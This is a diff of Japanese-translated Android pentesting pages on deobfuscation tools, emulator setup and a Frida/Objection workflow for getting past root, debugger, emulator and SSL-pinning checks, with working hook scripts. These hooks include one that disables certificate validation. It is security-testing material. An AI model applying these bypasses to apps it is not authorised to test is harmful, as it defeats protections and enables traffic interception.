### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>) ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** は Java コードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuard はフリーソフトウェアで、GNU General Public License, version 2 の下で配布されています。
ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. ProGuard は Android SDK の一部として配布され、アプリを release モードでビルドする際に動作します。
### [DexGuard](https://www.guardsquare.com/dexguard) ### [DexGuard](https://www.guardsquare.com/dexguard)
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) APK を deobfuscate するためのステップバイステップガイドは [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) を参照してください。
(From that guide) Last time we checked, the Dexguard mode of operation was: (そのガイドによると) 最後に確認したときの Dexguard の動作モードは次の通りでした:
- load a resource as an InputStream; - リソースを InputStream として読み込む;
- feed the result to a class inheriting from FilterInputStream to decrypt it; - 結果を FilterInputStream を継承したクラスに渡して復号する;
- do some useless obfuscation to waste a few minutes of time from a reverser; - リバースエンジニアの数分の時間を浪費させるための無意味な難読化を行う;
- feed the decrypted result to a ZipInputStream to get a DEX file; - 復号された結果を ZipInputStream に渡して DEX ファイルを取得する;
- finally load the resulting DEX as a Resource using the `loadDex` method. - 最後に生成された DEX を `loadDex` メソッドを使って Resource として読み込む。
### [DeGuard](http://apk-deguard.com) ### [DeGuard](http://apk-deguard.com)
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** **DeGuard は Android の難読化ツールによって行われた難読化プロセスを逆にします。これにより、コードの検査やライブラリの推定など、さまざまなセキュリティ解析が可能になります。**
You can upload an obfuscated APK to their platform. 難読化された APK を彼らのプラットフォームにアップロードすることができます。
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
@ -795,7 +799,7 @@ It is a **generic android deobfuscator.** Simplify **virtually executes an app**
### [APKiD](https://github.com/rednaga/APKiD) ### [APKiD](https://github.com/rednaga/APKiD)
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. APKiD **how an APK was made** に関する情報を提供します。多くの **compilers**, **packers**, **obfuscators** やその他の変わったものを識別します。Android 向けの [_PEiD_] と言えます。
### Manual ### Manual
@ -805,17 +809,17 @@ APKiD gives you information about **how an APK was made**. It identifies many **
### [Androl4b](https://github.com/sh4hin/Androl4b) ### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b は ubuntu-mate ベースの Android セキュリティ仮想マシンで、リバースエンジニアリングおよび malware 分析のための最新フレームワーク、チュートリアル、ラボを様々なセキュリティ研究者や研究家から集めたコレクションを含みます。 AndroL4b は ubuntu-mate ベースの Android セキュリティ仮想マシンで、reverse engineering や malware analysis のための最新フレームワーク、チュートリアル、ラボをさまざまなセキュリティ研究者やエンジニアから収集して含んでいます。
## References ## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 素晴らしいリソース一覧です - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 素晴らしいリソース一覧です
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android クイックコース
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-sslpinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)

View File

@ -1,31 +1,31 @@
# Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection) # Android アンチインストゥルメンテーション & SSL ピンニングバイパス (Frida/Objection)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
このページは、instrumentation を検出root ブロックする、もしくは TLS pinning を強制する Android アプリに対して、動的解析dynamic analysisを取り戻すための実践的なワークフローを提供します。迅速なトリアージ、一般的な検出方法、そして可能な限りリパッキングせずにバイパスするためのコピペ可能なフック/戦術に焦点を当てています。 このページは、インストゥルメンテーションを検知rootでブロックする Android アプリや TLS ピンニングを強制するアプリに対して、動的解析を再確立するための実践的なワークフローを示します。高速なトリアージ、一般的な検知方法、再パッケージ不要で回避可能なコピペ可能なフック/戦術に焦点を当てています。
## Detection Surface (what apps check) ## 検知サーフェス(アプリがチェックする項目)
- Root チェック: su バイナリ、Magisk パス、getprop 値、一般的な root パッケージ - Root チェック: su バイナリ、Magisk パス、getprop 値、一般的な root パッケージ
- Frida/debugger チェック (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc のスキャン、classpath、読み込まれた libs - Frida/デバッガ検知Java: Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc のスキャン、classpath、読み込まれたライブラリ
- ネイティブ antidebug: ptrace(), syscalls、antiattach、ブレークポイント、インラインフック - ネイティブのアンチデバッグ: ptrace(), syscalls、antiattach、ブレークポイント、インラインフック
- 早期初期化チェック: Application.onCreate() や、instrumentation が存在するとクラッシュするプロセス開始フック - 早期初期化チェック: Application.onCreate() やプロセス起動時のフックで、インストゥルメンテーションがあるとクラッシュさせるもの
- TLS pinning: カスタム TrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscrypt pinning、ネイティブ pin - TLS ピンニング: カスタム TrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscrypt ピンニング、ネイティブピン
## Step 1 — Quick win: hide root with Magisk DenyList ## Step 1 — 即効の対処: Magisk DenyList で root を隠す
- Magisk で Zygisk を有効化 - Magisk で Zygisk を有効化
- DenyList を有効化し、ターゲットパッケージを追加 - DenyList を有効にして対象パッケージを追加
- 再起動して再テスト - 再起動して再テスト
多くのアプリは明らかな指標su/Magisk パス/getpropしか確認していません。DenyList はナイーブなチェックを無効化することが多いです。 多くのアプリは明白な指標su/Magisk パス/getpropしか見ていません。DenyList はナイーブなチェックを無効化することが多いです。
References: References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30second Frida Codeshare tests ## Step 2 — 30秒フリダ Codeshare テスト
深掘りする前に一般的なドロップインスクリプトを試してください: 深掘りする前に一般的な dropin スクリプトを試してください:
- anti-root-bypass.js - anti-root-bypass.js
- anti-frida-detection.js - anti-frida-detection.js
@ -35,13 +35,13 @@ Example:
```bash ```bash
frida -U -f com.example.app -l anti-frida-detection.js frida -U -f com.example.app -l anti-frida-detection.js
``` ```
これらは通常、Java の root/debug チェック、プロセス/サービスのスキャン、およびネイティブの ptrace() をスタブ化します。軽度に保護されたアプリでは有用ですが、強化されたターゲットではカスタムのフックが必要な場合があります。 これらは通常、Javaのroot/debugチェック、プロセス/サービスのスキャン、およびネイティブのptrace()をスタブ化します。保護の弱いアプリには有用ですが、堅牢に保護されたターゲットではカスタムフックが必要になる場合があります。
- Codeshare: https://codeshare.frida.re/ - Codeshare: https://codeshare.frida.re/
## MedusaFrida フレームワーク)で自動化 ## Medusa (Frida framework)で自動化
Medusa は、SSL unpinning、root/emulator detection bypass、HTTP comms logging、crypto key interception などの 90+ の既成モジュールを提供します。 Medusaは、SSL unpinning、root/emulator detection bypass、HTTP comms logging、crypto key interceptionなどのための90以上の既成モジュールを提供します。
```bash ```bash
git clone https://github.com/Ch0pin/medusa git clone https://github.com/Ch0pin/medusa
cd medusa cd medusa
@ -54,40 +54,40 @@ use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass use root_detection/universal_root_detection_bypass
run com.target.app run com.target.app
``` ```
ヒント: Medusa はカスタム hooks を作る前の素早い成果に最適です。必要な modules を選んで自分の scripts と組み合わせることもできます。 ヒント: Medusa は custom hooks を書く前に迅速な成果を出すのに最適です。modules を個別に選んで自分の scripts と組み合わせることもできます。
## Step 3 — init-time detectors を回避するには遅めに attach する ## Step 3 — attaching late で init-time detectors を Bypass する
多くの検知は process spawn/onCreate() の間にのみ実行されます。Spawntime injection (-f) や gadgets は検出されやすく、UI が読み込まれた後に attach するとすり抜けられることがあります。 多くの検出は process spawn/onCreate() の実行時のみ走ります。Spawntime injection (-f) や gadgets は検出されやすいですが、UI が読み込まれた後に attaching すると回避できることがあります。
```bash ```bash
# Launch the app normally (launcher/adb), wait for UI, then attach # Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app frida -U -n com.example.app
# Or with Objection to attach to running process # Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget aobjection --gadget com.example.app explore # if using gadget
``` ```
これで動作する場合は、セッションを安定させたまま map and stub checks に進んでください。 もしこれが機能するなら、セッションを安定させたまま map と stub checks に進んでください。
## Step 4 — Jadx と string hunting による検出ロジックのマッピング ## Step 4 — Jadx と文字列探索による検出ロジックのマッピング
Static triage keywords in Jadx: Static triage keywords in Jadx:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Typical Java patterns: 典型的な Java パターン:
```java ```java
public boolean isFridaDetected() { public boolean isFridaDetected() {
return getRunningServices().contains("frida"); return getRunningServices().contains("frida");
} }
``` ```
確認/ hook する一般的なAPI: Common APIs を確認・hook すべき一般的な API:
- android.os.Debug.isDebuggerConnected - android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge) - java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands) - java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics) - android.os.SystemProperties.get (root/emulator heuristics)
## ステップ5 — Runtime stubbing with Frida (Java) ## Step 5 — Runtime stubbing with Frida (Java)
カスタムガードをオーバーライドして、repacking なしで安全な値を返す: カスタムガードを上書きして、安全な値を返すrepacking を行わずに):
```js ```js
Java.perform(() => { Java.perform(() => {
const Checks = Java.use('com.example.security.Checks'); const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
}); });
``` ```
初期のクラッシュをトリアージしていますか?終了直前に Dump classes を取得し、検出の可能性の高い namespaces を特定します: 早期クラッシュをトリアージしていますか?クラッシュ直前にクラスをダンプして、検出に使われそうな名前空間を特定します:
```js ```js
Java.perform(() => { Java.perform(() => {
Java.enumerateLoadedClasses({ Java.enumerateLoadedClasses({
@ -111,7 +111,6 @@ onComplete: () => console.log('Done')
}); });
}); });
``` ```
```javascript
// Quick root detection stub example (adapt to target package/class names) // Quick root detection stub example (adapt to target package/class names)
Java.perform(() => { Java.perform(() => {
try { try {
@ -119,9 +118,8 @@ const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; }; RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {} } catch (e) {}
}); });
```
疑わしいメソッドをログ出力して無効化し、実行フローを確認する: 疑わしいメソッドをログに記録して無効化し、実行フローを確認する:
```js ```js
Java.perform(() => { Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager'); const Det = Java.use('com.example.security.DetectionManager');
@ -133,9 +131,9 @@ return false;
``` ```
## Bypass emulator/VM detection (Java stubs) ## Bypass emulator/VM detection (Java stubs)
一般的なヒューリスティック: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE に generic/goldfish/ranchu/sdk が含まれる; QEMU のアーティファクト(/dev/qemu_pipe, /dev/socket/qemud; デフォルト MAC 02:00:00:00:00:00; 10.0.2.x の NAT; telephony/sensors が欠如している。 一般的なヒューリスティック: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE containing generic/goldfish/ranchu/sdk; QEMU artifacts like /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; missing telephony/sensors.
Build フィールドの簡易偽装: Build フィールドの簡易偽装:
```js ```js
Java.perform(function(){ Java.perform(function(){
var Build = Java.use('android.os.Build'); var Build = Java.use('android.os.Build');
@ -145,11 +143,11 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
}); });
``` ```
ファイル存在チェックや識別子TelephonyManager.getDeviceId/SubscriberId、WifiInfo.getMacAddress、SensorManager.getSensorList用のスタブを追加し、現実的な値を返すようにしてください。 ファイルの存在チェックと識別子TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorListに対するスタブを追加して、現実的な値を返すようにしてください。
## SSL pinning bypass quick hook (Java) ## SSL pinning bypass quick hook (Java)
カスタムTrustManagersを無効化し、許容的なSSL contextsを強制す: カスタム TrustManagers を無効化し、許容的な SSL contexts を強制します:
```js ```js
Java.perform(function(){ Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@ -168,27 +166,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
}); });
``` ```
注意 注意
- OkHttp 用に拡張する: 必要に応じて okhttp3.CertificatePinner と HostnameVerifier を hook するか、CodeShare の universal unpinning script を使用する。 - OkHttp 向けに拡張: 必要に応じて okhttp3.CertificatePinner と HostnameVerifier を hook するか、CodeShare のユニバーサル unpinning スクリプトを使用する。
- 実行例: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` - 実行例: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## Step 6 — Java hooks が失敗した場合は JNI/native のトレイルを追う ## ステップ6 — Java hooks が失敗したときは JNI/native のトレイルを辿る
JNI エントリポイントをトレースして native loaders と detection init を特定する: JNI エントリポイントをトレースして native loaders と detection init を特定する:
```bash ```bash
frida-trace -n com.example.app -i "JNI_OnLoad" frida-trace -n com.example.app -i "JNI_OnLoad"
``` ```
バンドルされた .so ファイルの簡易ネイティブトリアージ: バンドルされた .so ファイルの簡易ネイティブトリアージ
```bash ```bash
# List exported symbols & JNI # List exported symbols & JNI
nm -D libfoo.so | head nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_ objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
``` ```
インタラクティブ/ネイティブ reversing: インタラクティブ/ネイティブ逆解析:
- Ghidra: https://ghidra-sre.org/ - Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida - r2frida: https://github.com/nowsecure/r2frida
例: ptrace を無効化して libc の単な antidebug を回避する: 例: ptrace を無効化して libc の単な antidebug を回避する:
```js ```js
const ptrace = Module.findExportByName(null, 'ptrace'); const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) { if (ptrace) {
@ -202,22 +200,22 @@ return -1; // pretend failure
reversing-native-libraries.md reversing-native-libraries.md
{{#endref}} {{#endref}}
## ステップ 7 — Objection patching (embed gadget / strip basics) ## ステップ7 — Objection patching (embed gadget / strip basics)
runtime hooks より repacking を好む場合は、次を試してください: runtime hooks より repacking を好む場合は、次を試してください:
```bash ```bash
objection patchapk --source app.apk objection patchapk --source app.apk
``` ```
Notes: 注記:
- apktool が必要です。ビルドの問題を避けるため、公式ガイドの最新バージョンを確認してください: https://apktool.org/docs/install - apktool が必要;ビルド問題を避けるため、公式ガイドから最新バージョンを取得してください: https://apktool.org/docs/install
- Gadget injection は root なしで instrumentation を可能にしますが、より強力な inittime checks によって検出される可能性があります - Gadget injection は root を必要としない instrumentation を可能にするが、より強力な初期化時チェックによって検出される可能性がある
Optionally, add LSPosed modules and Shamiko for stronger root hiding in Zygisk environments, and curate DenyList to cover child processes. 任意で、Zygisk 環境でのより強力な root 隠蔽のために LSPosed モジュールと Shamiko を追加し、DenyList を調整して子プロセスもカバーしてください。
References: 参考:
- Objection: https://github.com/sensepost/objection - Objection: https://github.com/sensepost/objection
## Step 8 — Fallback: Patch TLS pinning for network visibility ## Step 8 — Fallback: TLS pinning をパッチしてネットワークの可視性を確保する
If instrumentation is blocked, you can still inspect traffic by removing pinning statically: If instrumentation is blocked, you can still inspect traffic by removing pinning statically:
```bash ```bash
@ -225,7 +223,7 @@ apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy # Then install the patched APK and proxy via Burp/mitmproxy
``` ```
- ツール: https://github.com/shroudedcode/apk-mitm - ツール: https://github.com/shroudedcode/apk-mitm
- ネットワーク構成の CAtrust トリック(および Android 7+ user CA trustについては、次を参照: - ネットワーク設定の CAtrust トリック(および Android 7+ user CA trustについては、次を参照:
{{#ref}} {{#ref}}
make-apk-accept-ca-certificate.md make-apk-accept-ca-certificate.md
@ -255,12 +253,12 @@ apk-mitm app.apk
``` ```
## ヒントと注意点 ## ヒントと注意点
- アプリが起動時にクラッシュする場合は、spawn させるより late attaching を遅らせて attach する方が望ましい - アプリが起動時にクラッシュする場合は、spawnするよりも遅めにattachすることを優先する
- 一部の detections は重要なフローpayment、authで再実行される — navigation 中は hooks を有効に保つ - 一部の検出は重要なフローpayment、authで再実行される — navigation中はhooksを有効にしておく
- static と dynamic を組み合わせる: Jadx で string hunt をして候補クラスを絞り、runtime でメソッドを hook して検証する - 静的解析と動的解析を組み合わせる: Jadxでstring huntして候補クラスを絞り込み、hook methodsでruntime時に検証する
- Hardened apps は packers や native TLS pinning を使う場合がある — native code をリバースすることを想定する - ハード化されたアプリはpackersやnative TLS pinningを使用することがある — native codeをreverseすることを想定する
## References ## 参考
- [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/) - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
- [Frida Codeshare](https://codeshare.frida.re/) - [Frida Codeshare](https://codeshare.frida.re/)

View File

@ -1,34 +1,34 @@
# AVD - Android Virtual Device # AVD - Android仮想デバイス
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
このコンテンツ作成にあたりご協力いただいた [**@offsecjay**](https://twitter.com/offsecjay) に深く感謝します。 このコンテンツの作成に協力してくれた [**@offsecjay**](https://twitter.com/offsecjay) に深く感謝します。
## 概要 ## 概要
Android Studio により、**APKs のテストに使用できる Android の仮想マシンを実行**できます。使用するには次が必要です: Android Studioでは、**APKをテストするために使用できるAndroidの仮想マシンを実行できます**。それらを使用するには次が必要です:
- **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). - The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- または **Android Studio**Android SDK tools を含む) - [Download here](https://developer.android.com/studio). - Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
Windows私の場合では、**Android Studio をインストールした後**、**SDK Tools がインストールされていた場所**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools` Windows私の場合では、**Android Studioをインストールした後**、**SDK Toolsは次の場所にインストールされました**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
mac では、**SDK tools をダウンロード**して、次のコマンドで PATH に追加できます: macでは、**SDK toolsをダウンロード**してPATHに入れることができます。実行:
```bash ```bash
brew tap homebrew/cask brew tap homebrew/cask
brew install --cask android-sdk brew install --cask android-sdk
``` ```
または **Android Studio GUI** から([https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) に示されているように)これにより `~/Library/Android/sdk/cmdline-tools/latest/bin/``~/Library/Android/sdk/platform-tools/``~/Library/Android/sdk/emulator/` にインストールされます または **Android Studio GUI** から([https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) に示されているように)インストールすることもでき、これにより `~/Library/Android/sdk/cmdline-tools/latest/bin/``~/Library/Android/sdk/platform-tools/``~/Library/Android/sdk/emulator/` にインストールされます
Java の問題については: Javaの問題については:
```java ```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
``` ```
## GUI ## GUI
### Prepare Virtual Machine ### 仮想マシンを準備する
Android Studioをインストールしている場合、メインのプロジェクトビューを開き、次を選択できます: _**Tools**_ --> _**AVD Manager.**_ If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false"> <div align="center" data-full-width="false">
@ -36,36 +36,38 @@ Android Studioをインストールしている場合、メインのプロジェ
</div> </div>
次に、_**Create Virtual Device**_ をクリックします Then, click on _**Create Virtual Device**_
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure> <figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**select**_ したい端末を選び、_**Next.**_ をクリックします。 _**使用する電話を選択**_ して、_**Next.**_ をクリックします。
> [!WARNING] > [!WARNING]
> Play Storeがインストールされた端末が必要な場合は、Play Storeアイコンが付いているものを選択してください! > Play Store がインストールされた端末が必要な場合は、Play Store アイコンが付いたものを選んでください!
> >
> <img src="../../images/image (1144).png" alt="" data-size="original"> > <img src="../../images/image (1144).png" alt="" data-size="original">
現在のビューでは、端末が実行するAndroidイメージを**選択してダウンロード**できます: In the current view you are going to be able to **select and download the Android image** that the phone is going to run:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
それを選択し、まだダウンロードされていない場合は名前の横にある_**Download**_シンボルをクリックしてくださいイメージのダウンロードが完了するまで待ちます。**`Next`** と **`Finish`** を選択してください。\ 選択し、まだダウンロードされていない場合は名前の横にある _**Download**_ アイコンをクリックしてください(**イメージのダウンロードが完了するまで待ちます**。\
イメージがダウンロードされると仮想マシンが作成されます。以後、AVD managerにアクセスするたびにその仮想マシンが表示されます。 イメージがダウンロードされたら、**`Next`** と **`Finish`** を選択します。
### Run Virtual Machine 仮想マシンが作成されます。以後、AVD manager にアクセスするたびに **その仮想マシンが表示されます**
実行するには、_**Start button**_ を押します。 ### 仮想マシンを起動する
起動するには、_**Start button**_ を押すだけです。
![](<../../images/image (518).png>) ![](<../../images/image (518).png>)
## Command Line tool ## コマンドラインツール
> [!WARNING] > [!WARNING]
> macOSでは、`avdmanager` ツールは `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` に、`emulator``/Users/<username>/Library/Android/sdk/emulator/emulator` にあります(インストールされている場合)。 > macOS では、`avdmanager` ツールは `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` に、`emulator``/Users/<username>/Library/Android/sdk/emulator/emulator` にあります(インストールされている場合)。
まず、どの端末を使うか**決める必要があります**。使用可能な端末の一覧を表示するには、次を実行してください: まず **どの端末を使うかを決める** 必要があります。利用可能な端末の一覧を表示するには、次を実行してください:
``` ```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -93,16 +95,16 @@ Name: Nexus 10
OEM : Google OEM : Google
[...] [...]
``` ```
使用するデバイスの名前を決めたら、次に**そのデバイスで実行する Android イメージを決める必要があります。**\ 使用するデバイスの名前を決めたら、**そのデバイスで実行する Android イメージを決める必要があります。**\
すべてのオプションは `sdkmanager` を使って一覧表示できます: すべてのオプションは `sdkmanager` を使って一覧表示できます:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
``` ```
そして、使用したいもの(またはすべて)を**ダウンロード**するには、次のコマンドを使用してください: そして、使用したいもの(またはすべて)を次のコマンドで **download** してください:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
``` ```
使用したい Android image をダウンロードしたら、次のコマンドで **ダウンロード済みの Android images をすべて一覧表示** できます: 使用したい Android イメージをダウンロードしたら、次のようにして**ダウンロードしたすべての Android イメージを一覧表示**できます:
``` ```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
---------- ----------
@ -118,12 +120,12 @@ Type: Platform
API level: 29 API level: 29
Revision: 4 Revision: 4
``` ```
この時点で使用するデバイスを決め、Androidイメージをダウンロードしているので、**仮想マシンを作成するには次の方法を使用できます**: この時点で使用するデバイスを決め、Androidイメージをダウンロードしているので、**仮想マシンを作成するには以下を使用できます**
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
``` ```
前のコマンドで、**AVD9という名前のVMを作成しました****デバイス** "_Nexus 5X_" と **Androidイメージ** "_system-images;android-28;google_apis;x86_64_" を使用。\ 直前のコマンドで **名前を付けたVMを作成しました** "_AVD9_"、**デバイス** "_Nexus 5X_" と **Androidイメージ** "_system-images;android-28;google_apis;x86_64_" を使用しました。\
作成した**仮想マシンを一覧表示**するには: これで、作成した**仮想マシンを一覧表示**できます:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -141,15 +143,15 @@ Error: Google pixel_2 no longer exists as a device
### 仮想マシンの起動 ### 仮想マシンの起動
> [!WARNING] > [!WARNING]
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed. > macOSでは、`avdmanager` ツールは `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` に、`emulator``/Users/<username>/Library/Android/sdk/emulator/emulator` にあります(インストールしている場合)。
既に作成した仮想マシンを一覧表示する方法は見ましたが、**以下の方法でも一覧表示できます**: 作成した仮想マシンを一覧表示する方法はすでに見ましたが、**次の方法でも一覧表示できます**
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9 AVD9
Pixel_2_API_27 Pixel_2_API_27
``` ```
次のコマンドを使って、**作成した任意の仮想マシンを実行**できます: 次のコマンドを使って、作成した任意の**virtual machine**を簡単に起動できます:
```bash ```bash
